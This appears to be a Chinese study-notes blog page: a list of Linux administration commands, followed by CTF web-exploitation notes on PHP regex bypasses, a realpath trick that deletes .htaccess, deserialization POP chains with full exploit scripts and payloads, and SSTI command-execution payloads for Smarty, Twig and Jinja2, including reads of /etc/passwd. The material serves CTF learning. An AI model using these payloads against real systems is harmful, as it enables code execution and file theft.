  • rpm -ivh httpd-2.2.3-22.0.1.el5.i386.rpm //使用rpm文件安装apache
  • rpm -uvh httpd-2.2.3-22.0.1.el5.i386.rpm //使用rpm更新apache
  • rpm -ev httpd //卸载/删除apache

date

  • date -s "01/31/2010 23:59:53" ///设置系统时间

wget

说明:使用wget从网上下载软件、音乐、视频
示例:wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.2.1.tar.gz
//下载文件并以指定的文件名保存文件

  • wget -O Lazy_fish.tar.gz http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.2.1.tar.gz

ftp

  • ftp IP/hostname //访问ftp服务器
  • mls *.html - //显示远程主机上文件列表

scp

  • scp /opt/data.txt 192.168.1.101:/opt/ //将本地opt目录下的data文件发送到192.168.1.101服务器的opt目录下

防火墙操作

  • service iptables status //查看iptables服务的状态
  • service iptables start //开启iptables服务
  • service iptables stop //停止iptables服务
  • service iptables restart //重启iptables服务
  • chkconfig iptables off //关闭iptables服务的开机自启动
  • chkconfig iptables on //开启iptables服务的开机自启动

centos7 防火墙操作

  • systemctl status firewalld.service //查看防火墙状态
  • systemctl stop firewalld.service //关闭运行的防火墙
  • systemctl disable firewalld.service //永久禁止防火墙服务

修改主机名(CentOS 7)

  • hostnamectl set-hostname 主机名

查看网络

  • ifconfig

修改IP

修改网络配置文件,文件地址:/etc/sysconfig/network-scripts/ifcfg-eth0

主要修改以下配置:

TYPE=Ethernet //网络类型

BOOTPROTO=static //静态IP

DEVICE=ens00 //网卡名

IPADDR=192.168.1.100 //设置的IP

NETMASK=255.255.255.0 //子网掩码

GATEWAY=192.168.1.1 //网关

DNS1=192.168.1.1 //DNS

DNS2=8.8.8.8 //备用DNS

ONBOOT=yes //系统启动时启动此设置

修改保存以后使用命令重启网卡:service network restart

配置映射
修改文件: vi /etc/hosts
在文件最后添加映射地址,示例如下:

192.168.1.101 node1
192.168.1.102 node2
192.168.1.103 node3

配置好以后保存退出,输入命令:ping node1 ,可见实际 ping 的是 192.168.1.101。

查看进程

  • ps -ef //查看所有正在运行的进程

结束进程

  • kill pid //杀死该pid的进程
  • kill -9 pid //强制杀死该进程

查看链接

  • ping IP //查看与此IP地址的连接情况
  • netstat -an //查看当前系统端口
  • netstat -an | grep 8080 //查看指定端口

快速清屏

  • ctrl+l //清屏,往上翻可以查看历史操作

远程主机

  • ssh IP //远程主机,需要输入用户名和密码

无字母RCE

无字母RCE虽然在现实环境中不会出现,但是在CTF中也是常见的考点,最简单的如下。

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
$cmd=$_POST['cmd'];
if(preg_match("/[a-zA-Z]/",$cmd)){
die("no!");
}
eval($cmd);

我在冲浪的时候不小心找到了一个佬写的文章,他开发的一个工具,挺有用的。

针对常规无字母RCE的通用辅助脚本开发

php的一些特性

你喜欢preg_match吗?

首先是大家喜闻乐见的%0a,什么?你也喜欢,他的原理是什么呢?

我们随便写个php测一下,$似乎会忽略在句尾的%0a,无论是换行模式还是不换行?

测了一下,这似乎是个错误的理解()。

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
if(preg_match('/^flag$/',$cmd)){
echo "</br>1</br>";
};
if(preg_match('/^flag$/m',$cmd)){
echo "2</br>";
};
if(preg_match('/^flag$/s',$cmd)){
echo "3</br>";
};
?>

我们可以看到,m是一定要搭配^或者$来使用的,也就是说有m必须要有^或者$,否则无意义。

还有一个东西,也是%0a所导致的一个小问题,那就是非s模式下.不匹配%0a

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
if(preg_match('/^flag./',$cmd)){
echo "</br>1</br>";
};
if(preg_match('/^flag.$/m',$cmd)){
echo "2</br>";
};
if(preg_match('/^flag./s',$cmd)){
echo "3</br>";
};
?>

众所周知,preg_match()函数是可以绕过的,详细参考p神PHP利用PCRE回溯次数限制绕过某些安全限制

正好测试一下

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
error_reporting(0);
highlight_file(__FILE__);
$code="hello".str_repeat("a",1000000)."hello_CTF";
if(preg_match('/.+?CTF/is', $code)){
die('o.0');
}
if(stripos($code,'hello_CTF') === FALSE){
die('0.o');
}
echo "ok";
?>

讨厌的intval

date函数的解析

在date函数中转义字符
date函数完整声明如下:
date(string format,int timestamp)
其中timestamp有默认值time()一般不考虑。
关键在第一个参数,他会按照“Y为年,M为月”等一系列格式化参数,来将time()的值转化为格式化的日期。如
date(“Y-m-d h:i:m”);

而想要将字符原样输出,不参与日期格式化,则可以用反斜杠来进行转义

date("\T\a\d\a\y \i\s Y-m-d h:i:m");

1
2
3
4
<?php
$file = "f\l\a\g";
$content=date($file);
echo file_get_contents($content);

这类属于可能存在的逻辑漏洞

realpath导致的文件异常删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//2023强网拟态
<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';

if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
die("....");

$jsonDir = $dir . $subdir;
$escapeDir = '/var/www/html' . $subdir;
$archiveFile = $jsonDir . '/archive.zip';


if($action == 'create'){
// create jsons/api.json
@mkdir($jsonDir);
file_put_contents($jsonDir. '/backdoor.php', $content);
file_put_contents($jsonDir.'/.htaccess',$htContent);
}
if($action == 'zip'){
delete($archiveFile);
// create archive.zip
$dev_dir = $_GET['dev'] ?? $dir;
if(realpath($dev_dir) !== $dir)
die('...');
$zip = new ZipArchive();
$zip->open($archiveFile, ZipArchive::CREATE);
$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
$zip = new ZipArchive();
$zip->open($archiveFile);
$zip->extractTo('/');
$zip->close();
}
if($action == 'clean'){
if (file_exists($escapeDir))
delete($escapeDir);
else
echo "Failed.(/var/www/html)";
if (file_exists($jsonDir))
delete($jsonDir);
else
echo "Failed.(/tmp)";
}

function delete($path){
if(is_file($path))
@unlink($path);
elseif (is_dir($path))
@rmdir($path);
}

可以利用realpath($dev_dir) == $dir构造 dev=/tmp/. 删除.htaccess。

创建和解压也/tmp作为目录

1
2
3
?action=create&subdir=/tmp
?action=zip&subdir=/tmp&dev=/tmp/.
?action=unzip&subdir=/tmp

解压后就没有.htaccess了

php反序列化

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

  1. 常见的魔术方法
1
2
3
4
5
6
7
8
9
10
11
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

一般类型

示例题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//MRCTF2020-Ezpop
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}
if($_POST["payload"]){
unserialize($_POST["payload"]);
}
else{
highlight_file(__FILE__);
}

很显然构造链子__wakeup() -> __toString() -> __get -> __invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Modifier {
protected $var = flag.txt;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new Show();
$b = new Show();
$a -> source = $b;//通过将$b这个类当作字符串赋值,调动__toString
$b -> str = new Test();//读取不存在的$b -> str -> source调动__get
($b -> str) -> p = new Modifier();//将($b -> str) -> p作函数调用,调动__invoke()
echo urlencode(serialize($a));//把不可打印字符编码

使用php原生类

  1. 例如
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//[GDOUCTF 2023]反方向的钟
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

一道反序列化,链子:__wakeup->hahaha()->IPO()->echo new $_POST['a']($_POST['b']);

然后调用php的内置类SplFileObject来读取文件内容,但是读取之后没有输出,所以使用伪协议输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
class teacher{
public $name;
public $rank;
public function __construct(){
$this->name = 'ing';
$this->rank = 'department';
}
}

class classroom{
public $name;
public $leader;
public function __construct(){
$this->name = 'one class';
$this->leader = new teacher;
}
}

class school{
public $department;
public $headmaster;
public function __construct(){
$this->department = new classroom;
$this->headmaster = 'ong';
}
}
$a = new school();
echo base64_encode(serialize($a));
?>

最终payload:

get:d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

post:a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//[NUAACTF2022]superpop
<?php
error_reporting(0);

class User{
public $username;
public $password;
public $variable;
public $a;

public function __construct()
{
$this->username = "user";
$this->password = "user";
}


public function __wakeup(){
if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
echo "wuhu!";
return $this->variable->xxx;
}else{
die("o^o");
}
}
}

class Login{
public $point;

public function __get($key){
$func = $this->point;
return $func();
}

}

class Read{
public $filename;

public function __invoke(){
echo file_get_contents($this->filename.".php");
}
}

if(isset($_GET['x'])){
unserialize($_GET['x']);
}else{
highlight_file(__FILE__);
}
?>

很简单的一条pop链子,用到了Error原生类绕过hash

__wakeup() -> __get -> __invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class User{
public $username;
public $password;
public $variable;
public $a;
}
class Login{
public $point;
public $function;
}
class Read{
public $filename;
}
$read = new Read();
$user = new User();
$login = new Login();
// 方法一:
$a = new Error($str, 1);$b = new Error($str, 2);
$user->username = $a;
$user->password = $b;
/*
方法二:
$a = array("1");
$b = array("2");
$user->username = $a;
$user->password = $b;
*/
$read->filename = "php://filter/read=convert.base64-encode/resource=flag";
$login->point = $read;
$user->variable = $login;
echo(urlencode(serialize($user)));
?>

__destruct的触发

正常情况下

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用

throw Error会使得我们的程序没有正常结束,所以类没有被销毁

1
2
3
4
5
6
7
8
<?php
class a{
public function __destruct(){
echo "触发";
}
}
$b = new a();
throw new Error("异常");

SSTI

SSTI,又称服务器模板注入攻击,发生在MVC框架的view层,ssti的导致原因是由于使用了render_template

由于模板引擎使用静态模板文件,并在运用时用HTML页面中的实际值替换变量/占位符,从而让HTML页面的设计更容易。当前广泛应用的模板有Smarty,Twig,Jinja2,FreeMarker和Velocity

服务器接收了用户的输入,将其作为web应用模板内容的一部分,在进行部分目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、Getshell等问题

模板引擎可以让网站程序实现界面和数据分离,业务代码和逻辑代码的分离,大大提升了开发效率,也使得代码重用变得更加容易,但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但是也同样存在沙箱逃逸技术来绕过

模板是一种提供给程序来解析的语法,换句话说,模板是从数据(变量)到实际的视觉表现(HTML)这项工作的一种实现手段。

最重要的是模板渲染,你可以使用 render_template() 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。实际上,ssti引发的问题主要就是render_template渲染函数的问题

这个函数作用就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户自身的信息来展示页面。

注入思想是不断调用我们要使用的命令,如file,read,open,ls等,来读取和写入配置文件

判断模板引擎

1.根据编程语言

各种编程语言对应的模板引擎如下:

Java:

  • FreeMarker
  • Thymeleaf
  • Velocity
  • JSP (JavaServer Pages)

Python:

  • Jinja2
  • Django模板

PHP:

  • Blade (Laravel框架自带)
  • Smarty

JavaScript:

  • Handlebars.js
  • EJS (Embedded JavaScript)
  • Pug (formerly Jade)

Ruby:

  • ERB (Embedded Ruby)
  • Haml

Go:

  • html/template

2.根据此图片

1
2
{{7*'7'}}->7777777->Jinja2
{{7*'7'}}->49->twig

判断模板注入的注入点方法

找这样的场景:输入什么,就输出什么!

这样的常见有两种比较大可能的类型:

1.SSTI

2.XSS(需要bot)

Smarty SSTI

1
2
3
{$smarty.version} 
{system('ls')}
{if show_source('/flag')}123{/if}

Twig SSTI

1
2
3
4
5
{{self}}
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Flask Jinja2 SSTI

下面是一些会用到的魔术对象:

1
2
3
4
5
6
7
8
__class__  :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ "返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用

用魔术对象可以构造一些简单的语句:

我们在里面运行以下:

解读一下:
class返回[]所属的对象;
class+base:返回这个对象所继承的基类
class+base+subclasses:找到了这个对象的基类,那么就返回这个基类下所具有的子类

Jinja模板引擎特点:

1
2
3
4
5
{{...}}: 装载一个变量,模板渲染的时候,会使用传进来的同名参数将这个变量代表的值替换掉

{%...%}:装载一个控制语句

{#...#}:装载一个注释,模板渲染的时候会忽视这中间的值

核心思路:找__globals__

1
{{((g.pop.__globals__.__builtins__.__import__('os').popen('whoami')).read())}}